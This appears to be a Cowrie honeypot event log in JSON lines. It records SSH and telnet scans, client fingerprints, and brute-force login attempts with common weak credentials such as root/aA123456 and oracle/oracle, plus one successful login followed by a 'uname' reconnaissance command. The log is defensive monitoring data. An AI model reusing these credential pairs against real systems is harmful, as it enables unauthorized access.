{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:23.831489Z","src_ip":"194.113.233.25","session":"402e814ec240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:23.972554Z","src_ip":"160.187.174.22","session":"d6bb842f706a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:24.962859Z","src_ip":"160.187.174.22","session":"d6bb842f706a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:26.215436Z","src_ip":"160.187.174.22","session":"d6bb842f706a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.85240864753723,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:29.525747Z","src_ip":"107.150.146.69","session":"4de9a409e8ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54890,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1f83c05d89f","protocol":"telnet","message":"New connection: 170.64.224.25:54890 (159.203.135.109:23) [session: b1f83c05d89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:31.941684Z"}
{"eventid":"cowrie.session.closed","duration":39.91977381706238,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:40.230847Z","src_ip":"107.150.146.69","session":"2b57d45092df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47430,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5b3da0ee860","protocol":"ssh","message":"New connection: 160.187.174.22:47430 (159.203.135.109:22) [session: e5b3da0ee860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:53.884035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:53.931054Z","src_ip":"160.187.174.22","session":"e5b3da0ee860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:54.375127Z","src_ip":"160.187.174.22","session":"e5b3da0ee860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":47362,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5115432b43","protocol":"ssh","message":"New connection: 85.214.154.50:47362 (10.17.0.5:22) [session: aa5115432b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:54.476950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:54.483283Z","src_ip":"85.214.154.50","session":"aa5115432b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:54.581682Z","src_ip":"85.214.154.50","session":"aa5115432b43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B@l@nc3r$M@st3r@P@ss","message":"login attempt [root/B@l@nc3r$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:54.864299Z","src_ip":"85.214.154.50","session":"aa5115432b43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:55.177334Z","src_ip":"160.187.174.22","session":"e5b3da0ee860","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:55.721976Z","src_ip":"160.187.174.22","session":"e5b3da0ee860","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:55.724887Z","src_ip":"160.187.174.22","session":"e5b3da0ee860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:55.961243Z","src_ip":"85.214.154.50","session":"aa5115432b43","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:55.977503Z","src_ip":"160.187.174.22","session":"e5b3da0ee860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:35:55.982109Z","src_ip":"160.187.174.22","session":"e5b3da0ee860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36970,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f3af8bd1077","protocol":"telnet","message":"New connection: 170.64.224.25:36970 (159.203.135.109:23) [session: 8f3af8bd1077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:08.730229Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":49938,"dst_ip":"10.17.0.5","dst_port":22,"session":"661a7e7af692","protocol":"ssh","message":"New connection: 162.144.105.39:49938 (10.17.0.5:22) [session: 661a7e7af692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:11.651670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:11.656434Z","src_ip":"162.144.105.39","session":"661a7e7af692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:11.738510Z","src_ip":"162.144.105.39","session":"661a7e7af692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"okx123","message":"login attempt [root/okx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:11.996336Z","src_ip":"162.144.105.39","session":"661a7e7af692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:13.081981Z","src_ip":"162.144.105.39","session":"661a7e7af692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53326,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad6cb5df5b0","protocol":"ssh","message":"New connection: 160.187.174.22:53326 (159.203.135.109:22) [session: dad6cb5df5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:23.810483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:23.815455Z","src_ip":"160.187.174.22","session":"dad6cb5df5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:24.052009Z","src_ip":"160.187.174.22","session":"dad6cb5df5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.73685359954834,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:24.678385Z","src_ip":"170.64.224.25","session":"b1f83c05d89f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin123","message":"login attempt [gpadmin/gpadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:24.772888Z","src_ip":"160.187.174.22","session":"dad6cb5df5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:26.016311Z","src_ip":"160.187.174.22","session":"dad6cb5df5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.730307817459106,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:28.460419Z","src_ip":"170.64.224.25","session":"8f3af8bd1077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":33106,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17cfd64ff92","protocol":"telnet","message":"New connection: 107.150.146.69:33106 (10.17.0.5:23) [session: a17cfd64ff92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:39.698842Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60306,"dst_ip":"159.203.135.109","dst_port":23,"session":"99ad6bd8b17a","protocol":"telnet","message":"New connection: 170.64.224.25:60306 (159.203.135.109:23) [session: 99ad6bd8b17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:40.247033Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:42.734150Z","src_ip":"111.21.105.250","session":"c3b3684bf445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50812,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a3bb8d8635b","protocol":"ssh","message":"New connection: 160.187.174.22:50812 (159.203.135.109:22) [session: 6a3bb8d8635b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:52.990154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:52.993475Z","src_ip":"160.187.174.22","session":"6a3bb8d8635b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:53.223750Z","src_ip":"160.187.174.22","session":"6a3bb8d8635b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:54.867623Z","src_ip":"160.187.174.22","session":"6a3bb8d8635b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:36:56.102963Z","src_ip":"160.187.174.22","session":"6a3bb8d8635b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.443498611450195,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:02.690384Z","src_ip":"170.64.224.25","session":"99ad6bd8b17a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":56032,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf8070d33816","protocol":"ssh","message":"New connection: 91.92.40.4:56032 (10.17.0.5:22) [session: cf8070d33816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:03.007098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:03.011300Z","src_ip":"91.92.40.4","session":"cf8070d33816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:03.097220Z","src_ip":"91.92.40.4","session":"cf8070d33816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p@ssw0rd","message":"login attempt [postgres/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:03.375551Z","src_ip":"91.92.40.4","session":"cf8070d33816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:04.460566Z","src_ip":"91.92.40.4","session":"cf8070d33816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.05383920669556,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:16.752546Z","src_ip":"107.150.146.69","session":"a17cfd64ff92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44394,"dst_ip":"159.203.135.109","dst_port":22,"session":"04a2e3ded088","protocol":"ssh","message":"New connection: 160.187.174.22:44394 (159.203.135.109:22) [session: 04a2e3ded088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:37:21.134080Z"}
